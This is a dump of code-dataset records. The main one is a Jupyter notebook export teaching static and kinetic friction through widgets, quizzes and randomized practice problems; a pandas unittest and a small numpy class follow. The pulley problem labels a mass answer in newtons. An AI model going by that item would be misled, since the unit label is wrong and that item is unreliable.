button1 = widgets.Button(description=\"(A)\"); button2 = widgets.Button(description=\"(B)\")\n    button3 = widgets.Button(description=\"(C)\"); button4 = widgets.Button(description=\"(D)\")\n    \n    button1.style.button_color = 'Whitesmoke'; button2.style.button_color = 'Whitesmoke'\n    button3.style.button_color = 'Whitesmoke'; button4.style.button_color = 'Whitesmoke'\n    \n    container = widgets.HBox(children=[button1,button2,button3,button4])\n    display(container)\n    print(\" \", end='\\r')\n\n    def on_button1_clicked(b):\n        if \"(A) \" == letter_answer:\n            print(\"Correct!    \", end='\\r')\n            button1.style.button_color = 'Moccasin'; button2.style.button_color = 'Whitesmoke'\n            button3.style.button_color = 'Whitesmoke'; button4.style.button_color = 'Whitesmoke'\n        else:\n            print(\"Try again.\", end='\\r')\n            button1.style.button_color = 'Lightgray'; button2.style.button_color = 'Whitesmoke'\n            button3.style.button_color = 'Whitesmoke'; button4.style.button_color = 'Whitesmoke'\n\n    def on_button2_clicked(b):\n        if \"(B) \" == letter_answer:\n            print(\"Correct!    \", end='\\r')\n            button1.style.button_color = 'Whitesmoke'; button2.style.button_color = 'Moccasin'\n            button3.style.button_color = 'Whitesmoke'; button4.style.button_color = 'Whitesmoke'\n        else:\n            print(\"Try again.\", end='\\r')\n            button1.style.button_color = 'Whitesmoke'; button2.style.button_color = 'Lightgray'\n            button3.style.button_color = 'Whitesmoke'; button4.style.button_color = 'Whitesmoke'\n\n    def on_button3_clicked(b):\n        if \"(C) \" == letter_answer:\n            print(\"Correct!    \", end='\\r')\n            button1.style.button_color = 'Whitesmoke'; button2.style.button_color = 'Whitesmoke'\n            button3.style.button_color = 'Moccasin'; button4.style.button_color = 'Whitesmoke'\n        else:\n            print(\"Try again.\", end='\\r')\n            button1.style.button_color = 'Whitesmoke'; button2.style.button_color = 'Whitesmoke'\n            button3.style.button_color = 'Lightgray'; button4.style.button_color = 'Whitesmoke'\n\n    def on_button4_clicked(b):\n        if \"(D) \" == letter_answer:\n            print(\"Correct!    \", end='\\r')\n            button1.style.button_color = 'Whitesmoke'; button2.style.button_color = 'Whitesmoke'\n            button3.style.button_color = 'Whitesmoke'; button4.style.button_color = 'Moccasin'\n        else:\n            print(\"Try again.\", end='\\r')\n            button1.style.button_color = 'Whitesmoke'; button2.style.button_color = 'Whitesmoke'\n            button3.style.button_color = 'Whitesmoke'; button4.style.button_color = 'Lightgray'\n\n    button1.on_click(on_button1_clicked); button2.on_click(on_button2_clicked)\n    button3.on_click(on_button3_clicked); button4.on_click(on_button4_clicked)\n\n# Static and Kinetic Friction\n\n## Introduction\n\n**Friction** is the name given to the force that resists the relative motion of one object as it slides against another. Most surfaces are rough and uneven. Even smooth surfaces, such as a polished mirror, can appear bumpy under a microscope. The bumps on these surfaces interlock as they rub against one another, which prevents them from sliding freely.\n\n<img src=\"Images/rough_surfaces.svg\" width=\"35%\"/>\n\nThe more an object presses into a surface, the more the surface pushes back against the object. The force pushing back against the object is called the **normal force**, **$F_{n}$** and it is always perpendicular to the surface. From the image above, we can imagine that the more two objects are pressed together, the more difficult it is for the interlocking points to lift up and slide passed one another. As a consequence, the friction force increases. A relationship therefore exists between the magnitude of the friction force and that of the normal force. This relationship is expressed by the following equation: \n\n$$F_{f}=\\mu F_{n}$$\n\nwhere $F_{f}$ and $F_{n}$ are the magnitudes of the friction and normal forces respectively, and $\\mu$ is the **coefficient of friction**. Here $\\mu$ is the Greek letter $mu$.  The direction of the force of friction is parallel to the surface and opposite to the other forces acting on the object.\n\nUse the slider below to observe the relationship between the normal force and the friction force. Pick any value for the coefficient of friction. Move the slider for the normal force back and forth to calculate the corresponding force of friction. \n\n#import ipywidgets as widgets\n\ncoeff = widgets.FloatSlider(description=\"Coefficient\",min=0.1,max=0.9)\nnormal_force = widgets.IntSlider(description=\"Normal force\",min=5,max=50)\n\n#Boldface letters at the beginning of each option\nstart_bold = \"\\033[1m\"; end_bold = \"\\033[0;0m\"\n\ndef f(coeff, normal_force):\n    friction_force = coeff * normal_force\n    print(start_bold + \"Friction force = (coefficient of friction) X (normal force)\" + end_bold)\n    print(\"Friction force = {} X {} = {} N\".format(coeff, normal_force, round(friction_force,1)))\n\nout = widgets.interactive_output(f,{'coeff': coeff, 'normal_force': normal_force})\n\nwidgets.HBox([widgets.VBox([coeff, normal_force]), out])\n\n**Question:** *What happens to the friction force when the normal force increases?* \n\n#import ipywidgets as widgets\n\n#Assign each multiple choice to these four variables\n#Option_1 contains the answer\noption_1 = \"The friction force increases.\" \noption_2 = \"The friction force decreases.\"\noption_3 = \"The friction force remains constant.\"\noption_4 = \"The friction force equals zero.\"\n\nmultiple_choice(option_1, option_2, option_3, option_4)\n\nThe force of friction felt by an object depends on whether the objects are in motion with respect to each other.  In general the force of friction felt by an object which is not moving with respect to another is stronger than the force of friction felt once it begins moving.\n\n**Static friction** describes the friction force that acts between an object and a surface to prevent it from sliding when a force is applied to it. Static friction applies to objects that are stationary with respect to one another.  \n\n**Kinetic friction** describes the friction force that acts between an object and the surface it slides upon when a force is applied to it. Kinetic friction applies to objects that are in motion with respect to one another.\n\n### Coefficients of Friction\n\nValues for the coefficients of friction have been derived experimentally for various materials as they interact with one another. When we describe the friction acting on a stationary object, we must use the **coefficient of static friction, $\\mu_{s}$**. When we describe the friction of a sliding object, we must use the **coefficient of kinetic friction, $\\mu_{k}$**. Some values for the coefficients of static and kinetic friction are shown in the table below:  \n\n Materials          | Coefficients of static friction ($\\mu_{s}$)| Coefficients of kinetic friction ($\\mu_{k}$) \n ---                | ---                                       | ---\n Steel on steel     | 0.7                                       | 0.6 \n Glass on glass     | 0.9                                       | 0.4\n Wood on wood       | 0.4                                       | 0.2 \n Rubber on concrete | 1.0                                       | 0.8\n\nUse the slider again to observe the relationship between the coefficient of friction and the friction force. Pick any value for the normal force. Move the slider for the coefficient of friction back and forth to calculate the corresponding force of friction. \n\n#import ipywidgets as widgets\n\ncoeff = widgets.FloatSlider(description=\"Coefficient\",min=0.1,max=0.9)\nnormal_force = widgets.IntSlider(description=\"Normal force\",min=5,max=50)\n\n#Boldface letters at the beginning of each option\nstart_bold = \"\\033[1m\"; end_bold = \"\\033[0;0m\"\n\ndef f(coeff, normal_force):\n    friction_force = coeff * normal_force\n    print(start_bold + \"Friction force = (coefficient of friction) X (normal force)\" + end_bold)\n    print(\"Friction force = {} X {} = {} N\".format(coeff, normal_force, round(friction_force,1)))\n\nout = widgets.interactive_output(f,{'coeff': coeff, 'normal_force': normal_force})\n\nwidgets.HBox([widgets.VBox([coeff, normal_force]), out])\n\n**Question:** *What happens to the friction force when the coefficient of friction increases?*\n\n#import ipywidgets as widgets\n\n#Assign each multiple choice to these four variables\n#Option_1 contains the answer\noption_1 = \"The friction force increases.\" \noption_2 = \"The friction force decreases.\"\noption_3 = \"The friction force remains constant.\"\noption_4 = \"The friction force equals zero.\"\n\nmultiple_choice(option_1, option_2, option_3, option_4)\n\nIt is to be noted that the amount $\\mu_s F_{n}$ is actually the **maximal value** for the magnitude of **static** friction $F_{f}$.  Assuming the forces acting on an object are insufficient to overcome this maximal value, the object will be stationary.  In this case, the actual magnitude of the force of static friction, $F_{f}$, will typically be less than maximal; it is exactly that amount required to have a net force of zero so that the object does not move.  \n\n### Solving Friction Problems\n\nWhen solving a friction problem, it is useful to construct a free-body diagram. A **free-body diagram** is a simple graphical representation of an object and all the relevant forces acting upon it. An example of a free-body diagram is shown below:\n\n<img src=\"Images/free_body_diagram.svg\" width=\"45%\"/>\n\n* $F_{a}$ represents the **applied force**: the force acting in the direction of motion of the object.\n* $F_{f}$ represents the **friction force**: the force acting in the direction opposite to the motion of the object.\n* $mg$ represents the weight: the force of gravity acting on the object. Here, $m$ is the mass of the object, and $g$ is the gravitational acceleration directed downwards and of magnitude $g=9.8\\:m/s^2$.\n* $F_{n}$ represents the normal force: the force perpendicular to the surface pressing up against the object.\n\n### Example\nA 10 kg object is pushed across a flat horizontal surface with an applied force of 25 N. The same object is later pushed again with an applied force of 50 N. The coefficients of static and kinetic frictions are 0.40 and 0.30, respectively. Calculate the friction force ($F_{f}$) at each of the applied forces. Use the formula: $F_{f}=\\mu F_{n}$.\n\n**Step 1:** *Construct a free-body diagram*. The free-body diagram shown above may be used for this example. \n\n**Step 2:** *Calculate the known forces*: **Recall:** The weight of the object, $mg$, is equal to the mass of the object multiplied by the acceleration due to gravity.\n\n$$mg = (10 \\times 9.8)\\:N = 98\\:N$$\n\nSince there is no vertical acceleration on the object, the total vertical force must vanish so the magnitude of the normal force must be equal to that of the weight of the object ($F_{n} = mg$). Therefore, \n\n$$F_{n} = mg = (10 \\times 9.8)\\:N = 98\\:N$$\n\n**Step 3:** *Determine the maximum static friction force*: Now that the normal force is known, we can calculate the maximum static friction force using the following equation:\n\n$$F_{s}=\\mu_{s} F_{n} = (0.40 \\times 98)\\:N = 39\\:N$$\n\nThis means that the object will resist up to 39 N of applied force before it begins to move. \n\n**Step 4:** *Determine the friction force at 25 N*: Since the applied force of 25 N is less than the maximum static friction force, the object will remain stationary. The friction will oppose the applied force up to 25 N. Therefore, \n\n$$F_{f} = 25\\:N$$\n\nThe direction of $F_{f}$ will be opposite to the direction of the applied force.\n    \n**Step 5:** *Determine the friction force at 50 N*: Since the applied force of 50 N is greater than the maximum static friction force, the object will begin to move. When in motion, the object is no longer being opposed by the static friction force. Instead it is being opposed by the kinetic friction force. We can calculate the kinetic friction force using the following equation:\n\n$$F_{k}=\\mu_{k} F_{n} = (0.30 \\times 98)\\:N = 29\\:N$$\n\nTherefore, the magnitude of the friction force will be:\n\n$$F_{f} = 29\\:N$$\n\nOnce again, the direction of $F_{f}$ will be opposite to the direction of the applied force.\n\n**Answer:** At an applied force of 25 N, the object is stationary and the magnitude of the friction force is 25 N. At an applied force of 50 N, the object is in motion and the magnitude of the friction force is 29 N. In both cases, the force of friction is directed parallel to the surface and opposite to the direction of the applied force.  \n\n## Practice Problems\n(Click **Cell** > **Run Cells** to generate new random values for each question. Refer to the previous table to get the coefficients of friction for specific materials.)\n\n#import random\n#import ipywidgets as widgets\n\n#Randomize mass and friction coefficient\nmass = random.randint(20,50)\ncoeff = (random.randint(10,100))/100\n\n#Print question\nquestion = \"A \" + str(mass) +\" kg object is pushed across a flat horizontal surface. The coefficient of kinetic friction between the moving object and the surface is \" + str(coeff) +\". What is the magnitude of the friction force?\"\nprint(question)\n\n#Answer calculation\n#Friction force = (friction coefficient) X (normal force)\nanswer = coeff*(mass*9.8)\nanswer = round(answer)\n\n#Define range of values for random multiple choices\nmin = int(coeff*((mass-15)*9.8))  \nmax = int(coeff*((mass+15)*9.8))\n\n#Create three choices that are unique (and not equal to the answer)\nchoice_list = random.sample(range(min,max),3)\nwhile choice_list.count(answer) >= 1:\n    choice_list = random.sample(range(min,max),3)\n    \n#Assign each multiple choice to these four variables\n#Option_1 contains the answer\noption_1 = str(answer) + \" N\" \noption_2 = str(choice_list[0]) + \" N\"\noption_3 = str(choice_list[1]) + \" N\"\noption_4 = str(choice_list[2]) + \" N\"\n\nmultiple_choice(option_1, option_2, option_3, option_4)\n\n#import random\n#import ipywidgets as widgets\n\n#Randomize mass and applied force\nmass = random.randint(20,50)\napplied_force = random.randint(150,300)\n\n#Randomize material\nmaterial_options = ['steel', 'glass', 'wood']\nmaterial =random.choice(material_options)\n\n#Define friction coefficients based on selected material \nif material == 'steel':\n    us = 0.7; uk = 0.6\nelif material == 'glass':\n    us = 0.9; uk = 0.4 \nelif material == 'wood':\n    us = 0.4; uk = 0.2 \n\n#Print question\nquestion = \"If a %d kg %s object is pushed across a flat horizontal %s surface with an applied force of %d N, what is the magnitude of the friction force?\" %(mass, material, material, applied_force)\nprint(question)\n\n#Answer calculation\n#Friction force = (friction coefficient) X (normal force)\nstatic_friction = us*(mass*9.8)\nkinetic_friction = uk*(mass*9.8)\n\n#If the applied force is less than or equal to the maximum static friction force, the object will remain stationary\n#The friction force equals the applied force\nif applied_force <= static_friction:\n    answer = applied_force\nelse:\n    answer = kinetic_friction\n\nanswer = round(answer)    \n    \n#Define range of values for random multiple choices\nif applied_force <= static_friction:\n    min = applied_force-15  \n    max = applied_force+15\nelse:\n    min = int(uk*((mass-15)*9.8))  \n    max = int(uk*((mass+15)*9.8))\n\n#Create three choices that are unique (and not equal to the answer) \nchoice_list = random.sample(range(min,max),3)\nwhile choice_list.count(answer) >= 1:\n    choice_list = random.sample(range(min,max),3)\n\n#Assign each multiple choice to these four variables\n#Option_1 contains the answer\noption_1 = str(answer) + \" N\" \noption_2 = str(choice_list[0]) + \" N\"\noption_3 = str(choice_list[1]) + \" N\"\noption_4 = str(choice_list[2]) + \" N\"\n\nmultiple_choice(option_1, option_2, option_3, option_4)\n\n#import random\n#import ipywidgets as widgets\n\n#Randomize applied and friction forces\napplied_force = random.randint(51,75)\nfriction_force = random.randint(25,50)\n\n#Randomize material\nmaterial_options = ['steel', 'glass', 'wood']\nmaterial =random.choice(material_options)\n\n#Define friction coefficients based on selected material \nif material == 'steel':\n    uk = 0.6; us = 0.7\nelif material == 'glass':\n    uk = 0.4; us = 0.9\nelif material == 'wood':\n    uk = 0.2; us = 0.4\n\n#Print question\nquestion = \"If a %s object is pushed across a flat horizontal %s surface with an applied force of %d N, and a friction force of %d N occurs, what is the magnitude of the normal force?\" %(material, material, applied_force, friction_force)\nprint(question)\n\n#Answer calculation\n#weight = normal force = (friction force)/(kinetic friction coefficient)\nanswer = friction_force/uk\nanswer = round(answer)\n\n#Define range of values for random multiple choices\nmin = int((friction_force-15)/uk); max = int((friction_force+15)/uk)\n\n#Create three choices that are unique (and not equal to the answer) \nchoice_list = random.sample(range(min,max),3)\nwhile choice_list.count(answer) >= 1:\n    choice_list = random.sample(range(min,max),3)\n\n#Assign each option to these four variables\n#Option1 contains the answer\noption_1 = str(answer) + \" N\" \noption_2 = str(random.randint(min,max)) + \" N\"\noption_3 = str(random.randint(min,max)) + \" N\"\noption_4 = str(random.randint(min,max)) + \" N\"\n\nmultiple_choice(option_1, option_2, option_3, option_4)\n\n#import random\n#import ipywidgets as widgets\n#import numpy as np\n\n#Randomize mass and applied force\nmass = random.randint(5,10)\napplied_force = random.randint(46,80)\nfriction_force = random.randint(10,45)\n\n#Print question\nquestion = \"A %d kg object is pulled across a flat horizontal surface by a force of %d N. The friction force is %d N. What is the coefficient of kinetic friction?\" %(mass, applied_force, friction_force)\nprint(question)\n\n#Answer calculation\n#friction coefficient = (friction force) / (normal force)\nanswer = friction_force/(mass*9.8)\nanswer = round(answer,2)\n\n#Define range of values for random multiple choices\nmin = 0.1\nmax = 0.9\nunique = 0\n\n#Create three choices that are unique (and not equal to the answer) \nwhile unique < 4:\n    choice_list = np.random.uniform(min, max, size=(3,))\n    for i in range(3):\n        choice_list[i] = round(choice_list[i],2)\n        \n    choice_list = np.append(choice_list, answer)\n    list_unique = np.unique(choice_list)\n    unique = list_unique.size\n\n#Assign each multiple choice to these four variables\n#Option_1 contains the answer\noption_1 = str(answer) \noption_2 = str(choice_list[0])\noption_3 = str(choice_list[1])\noption_4 = str(choice_list[2])\n\nmultiple_choice(option_1, option_2, option_3, option_4)\n\nUse the diagram below to answer the following question:\n\n<img src=\"Images/free_body_diagram_pulley.svg\" width=\"45%\"/>\n\n#import random\n#import ipywidgets as widgets\n\n#Randomize mass and friction coefficient\nmass = random.randint(20,50)\ncoeff = (random.randint(10,100))/100\n\n#Print question\nquestion = \"A \" + str(mass) +\" kg object is suspended by a pulley and connected to an object resting on a flat surface. The friction coefficient between the object and the surface is \" + str(coeff) +\". What is the minimum mass required to keep this suspended object stationary?\"\nprint(question)\n\n#Answer calculation\n#Friction force = applied force = (mass) X (9.8)\nfriction_force = mass*9.8\n\nnormal_force = friction_force/coeff\nanswer = normal_force/9.8\nanswer = round(answer)\n\n#Define range of values for random multiple choices\nmin = int((normal_force-50)/9.8)  \nmax = int((normal_force+50)/9.8)\n\n#Create three choices that are unique (and not equal to the answer)\nchoice_list = random.sample(range(min,max),3)\nwhile choice_list.count(answer) >= 1:\n    choice_list = random.sample(range(min,max),3)\n    \n#Assign each multiple choice to these four variables\n#Option_1 contains the answer\noption_1 = str(answer) + \" N\" \noption_2 = str(choice_list[0]) + \" N\"\noption_3 = str(choice_list[1]) + \" N\"\noption_4 = str(choice_list[2]) + \" N\"\n\nmultiple_choice(option_1, option_2, option_3, option_4)\n\n## Experiment \n\nAs mentioned above, the coefficients of static and kinetic friction are determined experimentally for different materials.\n\n**Determination of Static Friction**\n\nTry the following experiment to determine the coefficient of static friction.\n\n**Step 1:** Find an object and a flat horizontal surface. Record the material type for the object and surface.\n\n**Step 2:** Measure the mass of the object using a mass balance (kg). \n\n**Step 3:** Calculate the magnitude of the normal force using the following formula: $F_{n} = mg$\n\n**Step 4:** Using a spring scale, gradually apply a force to the object. Record the value on the scale the moment the object begins to move. At this moment, the applied force is equal to the maximum static friction force.\n\n<img src=\"Images/free_body_diagram_spring.svg\" width=\"55%\"/>\n\n**Step 5:** Calculate the coefficient of static friction using the following formula: $\\mu_{s} = F_{f} \\div F_{n}$\n\n**Determination of Kinetic Friction**\n\nContinue the experiment to determine the coefficient of kinetic friction.\n\n**Step 6:** Using a spring scale, apply enough force to drag the object across the surface at a constant velocity (acceleration = 0). Record the value on the scale while the object is moving. So long as the object moves at a constant velocity, the applied force is equal to the kinetic friction force. \n\n**Step 7:** Calculate the coefficient of kinetic friction using the following formula: $\\mu_{k} = F_{f} \\div F_{n}$\n\n (**Double click** this cell and update the table with your own data. Click **Cell** > **Run Cells** when done.)\n \nMaterials | Object mass (g) | Normal force (N) | Applied force (N) | Static friction coefficient | Kinetic friction coefficient \n ---      | ---             | ---              | ---               | ---                         | ----   \n ?        | ?               | ?                | ?                 | ?                           | ?      \n ?        | ?               | ?                | ?                 | ?                           | ?      \n ?        | ?               | ?                | ?                 | ?                           | ?\n ?        | ?               | ?                | ?                 | ?                           | ?      \n ?        | ?               | ?                | ?                 | ?                           | ? \n\n## Force Diagrams\n\nA useful way to visualize the friction forces is to construct a force diagram, as shown below. This diagram depicts the magnitudes of the forces acting on an object as it is pushed across a flat horizontal surface with increasing force. The y-axis depicts the friction force ($F_{f}$), and the x-axis depicts the applied force ($F_{a}$). The sliders can be manipulated to change the normal force ($F_{n}$), the coefficient of static friction ($\\mu_{s}$), and the coefficient of kinetic friction ($\\mu_{k}$). \n\n#import ipywidgets as widgets\n#import matplotlib.pyplot as plt\n\ndef f(Fn=50,\u03bcs=0.75,\u03bck=0.25):\n    #Fn = normal force\n    #\u03bcs = coefficient of static friction\n    #\u03bck = coefficient of kinetic friction\n    \n    plt.figure()\n    xs = Fn*\u03bcs\n    xk = Fn*\u03bck\n    plt.plot([0,xs,xs,100],[0,xs,xk,xk])\n    plt.plot([xs,xs],[xk,0], linestyle=\"dotted\")\n    plt.ylim(0, 100)\n    plt.xlim(0,100)\n    plt.ylabel('Friction force (N)')\n    plt.xlabel('Applied force (N)')\n    plt.annotate(xy=[xs-15,xs+5],s=\"Static friction (max)\")\n    plt.annotate(xy=[(xs+(100-xs)/2)-10,xk+5],s=\"Kinetic friction\")\n    plt.show()\n\ninteractive_plot = widgets.interactive(f,Fn=(35,75,5),\u03bcs=(0.5, 1.0),\u03bck=(0.1, 0.5))\noutput = interactive_plot.children[-1]\noutput.layout.height = '280px'\ninteractive_plot\n\n**Interpreting the graph**\n\nRead the graph from left to right. As the applied force gradually increases along the x-axis, the friction force also increases. Notice that the magnitude of the friction force is equal to the applied force ($F_{f} = F_{a}$) until it reaches the point of maximum static friction. This point is shown on the graph as a **peak**. The point of maximum static friction is determined by the following equation: $F_{f}=\\mu_{s} F_{n}$. As the applied force continues to increase beyond the peak of maximum static friction, the object begins to move. The friction force is now described by the kinetic friction equation: $F_{f}=\\mu_{k} F_{n}$.\n\nMove the slider for the normal force back and forth. As the normal force increases, what happens to the static and kinetic friction forces?\n\n#import ipywidgets as widgets\n\n#Assign each multiple choice to these four variables\n#Option_1 contains the answer\noption_1 = \"The static and kinetic friction forces both increase.\" \noption_2 = \"The static and kinetic friction forces both decrease.\"\noption_3 = \"The static friction force increases and the kinetic friction force decreases.\"\noption_4 = \"The static friction force decreases and the kinetic friction force increases.\"\n\nmultiple_choice(option_1, option_2, option_3, option_4)\n\nMove the slider for the static friction coefficient back and forth. As the static friction coefficient increases, what happens to the static and kinetic friction forces?\n\n#import ipywidgets as widgets\n\n#Assign each multiple choice to these four variables\n#Option_1 contains the answer\noption_1 = \"The static friction force increases and the kinetic friction force remains constant.\" \noption_2 = \"The static friction force decreases and the kinetic friction force remains constant.\"\noption_3 = \"The static friction force increases and the kinetic friction force decreases.\"\noption_4 = \"The static friction force decreases and the kinetic friction force increases.\"\n\nmultiple_choice(option_1, option_2, option_3, option_4)\n\nMove the slider for the kinetic friction coefficient back and forth. As the kinetic friction coefficient increases, what happens to the static and kinetic friction forces?\n\n#import ipywidgets as widgets\n\n#Assign each multiple choice to these four variables\n#Option_1 contains the answer\noption_1 = \"The kinetic friction force increases and the static friction force remains constant.\" \noption_2 = \"The kinetic friction force decreases and the static friction force remains constant.\"\noption_3 = \"The kinetic friction force increases and the static friction force decreases.\"\noption_4 = \"The kinetic friction force decreases and the static friction force increases.\"\n\nmultiple_choice(option_1, option_2, option_3, option_4)\n\n## Conclusions\n\nIn this notebook, the concepts of static and kinetic friction were examined. In summary:\n\n* **Friction** describes the force that resists the relative motion of an object as it slides across a surface. Friction forces are proportional to the normal force:\n\n$$F_{f} = \\mu F_{n}$$\n\n* **Static friction** describes the friction force that acts between an object and the surface to prevent it from sliding. Static friction must be overcome for an object to move.\n\n* **Kinetic friction** describes the friction force that acts between an object and the surface it slides upon. Kinetic friction is used when describing objects in motion.\n\n* **Coefficients of static and kinetic friction** are determined experimentally for different materials. Once determined, these values can be tabulated and used to solve friction problems. An experimental method for determining the coefficients of static and kinetic friction was presented. \n\n* **Friction problems** can be solved using free-body diagrams, the friction formula, and the tabulated values for the coefficients of friction.\n\n* **Force diagrams** can be used to visualize the relationship between the friction force, the applied force, the normal force, and the coefficients of static and kinetic friction.\n\nImages in this notebook represent original artwork.\n\n%%html\n\n<script>\n  function code_toggle() {\n    if (code_shown){\n      $('div.input').hide('500');\n      $('#toggleButton').val('Show Code')\n    } else {\n      $('div.input').show('500');\n      $('#toggleButton').val('Hide Code')\n    }\n    code_shown = !code_shown\n  }\n\n  $( document ).ready(function(){\n    code_shown=false;\n    $('div.input').hide()\n  });\n</script>\n<form action=\"javascript:code_toggle()\"><input type=\"submit\" id=\"toggleButton\" value=\"Show Code\"></form>\n\n[![Callysto.ca License](https://github.com/callysto/curriculum-notebooks/blob/master/callysto-notebook-banner-bottom.jpg?raw=true)](https://github.com/callysto/curriculum-notebooks/blob/master/LICENSE.md)", "meta": {"hexsha": "a636d16142ca612c820ae9c8ab6e1ae65861197b", "size": 29948, "ext": "py", "lang": "Python", "max_stars_repo_path": "_build/jupyter_execute/curriculum-notebooks/Science/StaticAndKineticFriction/static-and-kinetic-friction.py", "max_stars_repo_name": "BryceHaley/curriculum-jbook", "max_stars_repo_head_hexsha": "d1246799ddfe62b0cf5c389394a18c2904383437", "max_stars_repo_licenses": ["CC-BY-4.0"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2022-03-18T18:19:40.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-18T18:19:40.000Z", "max_issues_repo_path": "_build/jupyter_execute/curriculum-notebooks/Science/StaticAndKineticFriction/static-and-kinetic-friction.py", "max_issues_repo_name": "callysto/curriculum-jbook", "max_issues_repo_head_hexsha": "ffb685901e266b0ae91d1250bf63e05a87c456d9", "max_issues_repo_licenses": ["CC-BY-4.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "_build/jupyter_execute/curriculum-notebooks/Science/StaticAndKineticFriction/static-and-kinetic-friction.py", "max_forks_repo_name": "callysto/curriculum-jbook", "max_forks_repo_head_hexsha": "ffb685901e266b0ae91d1250bf63e05a87c456d9", "max_forks_repo_licenses": ["CC-BY-4.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 48.6168831169, "max_line_length": 635, "alphanum_fraction": 0.7158407907, "include": true, "reason": "import numpy", "num_tokens": 7244, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.39233683016710835, "lm_q2_score": 0.13477590352179888, "lm_q1q2_score": 0.05287755077065059}}
{"text": "#!/usr/bin/env python3\n\nimport unittest\nfrom unittest.mock import patch, MagicMock\nimport pandas as pd\nimport numpy as np\n\n\nfrom tmc import points\n\nfrom tmc.utils import load, get_out, patch_helper\n\nmodule_name=\"src.bicycle_timeseries\"\nbicycle_timeseries = load(module_name, \"bicycle_timeseries\")\nmain = load(module_name, \"main\")\nph = patch_helper(module_name)\n\n\n@points('p05-08.1')\nclass BicycleTimeseries(unittest.TestCase):\n\n    # @classmethod\n    # def setUpClass(cls):\n    #     cls.df = bicycle_timeseries()\n\n    def setUp(self):\n        self.df = bicycle_timeseries()\n        \n    def test_shape(self):\n        self.assertEqual(self.df.shape, (37128, 20), msg=\"Incorrect shape!\")\n\n    def test_columns(self):\n        cols = ['Auroransilta', 'Etel\u00e4esplanadi', 'Huopalahti (asema)',\n                'Kaisaniemi/El\u00e4intarhanlahti', 'Kaivokatu', 'Kulosaaren silta et.',\n                'Kulosaaren silta po. ', 'Kuusisaarentie', 'K\u00e4pyl\u00e4, Pohjoisbaana',\n                'Lauttasaaren silta etel\u00e4puoli', 'Merikannontie',\n                'Munkkiniemen silta etel\u00e4puoli', 'Munkkiniemi silta pohjoispuoli',\n                'Heperian puisto/Ooppera', 'Pitk\u00e4silta it\u00e4puoli',\n                'Pitk\u00e4silta l\u00e4nsipuoli', 'Lauttasaaren silta pohjoispuoli',\n                'Ratapihantie', 'Viikintie', 'Baana']\n        np.testing.assert_array_equal(self.df.columns, cols, err_msg=\"Incorrect columns!\")\n\n    def test_index(self):\n        self.assertIsInstance(self.df.index[0], pd.Timestamp,\n                              msg=\"Expected index to have type timestamp!\")\n        self.assertEqual(self.df.index[0], pd.to_datetime(\"2014-1-1 00:00\"),\n                         msg=\"Incorrect first index!\")\n        \n        self.assertEqual(self.df.index[1], pd.to_datetime(\"2014-1-1 01:00\"),\n                         msg=\"Incorrect second index!\")\n\n    def test_calls(self):\n        with patch(ph(\"bicycle_timeseries\"), wraps=bicycle_timeseries) as pbts,\\\n             patch(ph(\"pd.read_csv\"), wraps=pd.read_csv) as prc,\\\n             patch(ph(\"pd.to_datetime\"), wraps=pd.to_datetime) as pdatetime:\n            main()\n            pbts.assert_called_once()\n            prc.assert_called_once()\n            pdatetime.assert_called()\n   \nif __name__ == '__main__':\n    unittest.main()\n    \n", "meta": {"hexsha": "f744faf72093619af240bd48cb137b57410d1426", "size": 2269, "ext": "py", "lang": "Python", "max_stars_repo_path": "hy-data-analysis-with-python-spring-2020/part05-e08_bicycle_timeseries/test/test_bicycle_timeseries.py", "max_stars_repo_name": "Melimet/DAP2020", "max_stars_repo_head_hexsha": "0854fe4ce8ace6abf6dc0bbcf71984595ff6d42a", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "hy-data-analysis-with-python-spring-2020/part05-e08_bicycle_timeseries/test/test_bicycle_timeseries.py", "max_issues_repo_name": "Melimet/DAP2020", "max_issues_repo_head_hexsha": "0854fe4ce8ace6abf6dc0bbcf71984595ff6d42a", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "hy-data-analysis-with-python-spring-2020/part05-e08_bicycle_timeseries/test/test_bicycle_timeseries.py", "max_forks_repo_name": "Melimet/DAP2020", "max_forks_repo_head_hexsha": "0854fe4ce8ace6abf6dc0bbcf71984595ff6d42a", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 35.453125, "max_line_length": 90, "alphanum_fraction": 0.6311150286, "include": true, "reason": "import numpy", "num_tokens": 590, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.3522017956470284, "lm_q2_score": 0.1500288243424251, "lm_q1q2_score": 0.052840421332214726}}
{"text": "# AUTOGENERATED! DO NOT EDIT! File to edit: 00_core.ipynb (unless otherwise specified).\n\n__all__ = ['Matrix']\n\n# Cell\nimport numpy\n\nclass Matrix():\n    \"\"\"\n    Class generates a zero matrix\n    \"\"\"\n    def __init__(self, n_matrix:int, m_matrix:int):\n        self.n = n_matrix\n        self.m = m_matrix\n    def make_matrix(self):\n        return numpy.zeros(self.n * self.m).reshape(self.n, self.m)", "meta": {"hexsha": "8643c8c029d6f4d62cff8050ff39463dcde4d006", "size": 396, "ext": "py", "lang": "Python", "max_stars_repo_path": "test/core.py", "max_stars_repo_name": "VladislavYak/test_repo", "max_stars_repo_head_hexsha": "7b781ac1a7ed655f0051fb2dd28c47bc3b387558", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "test/core.py", "max_issues_repo_name": "VladislavYak/test_repo", "max_issues_repo_head_hexsha": "7b781ac1a7ed655f0051fb2dd28c47bc3b387558", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, 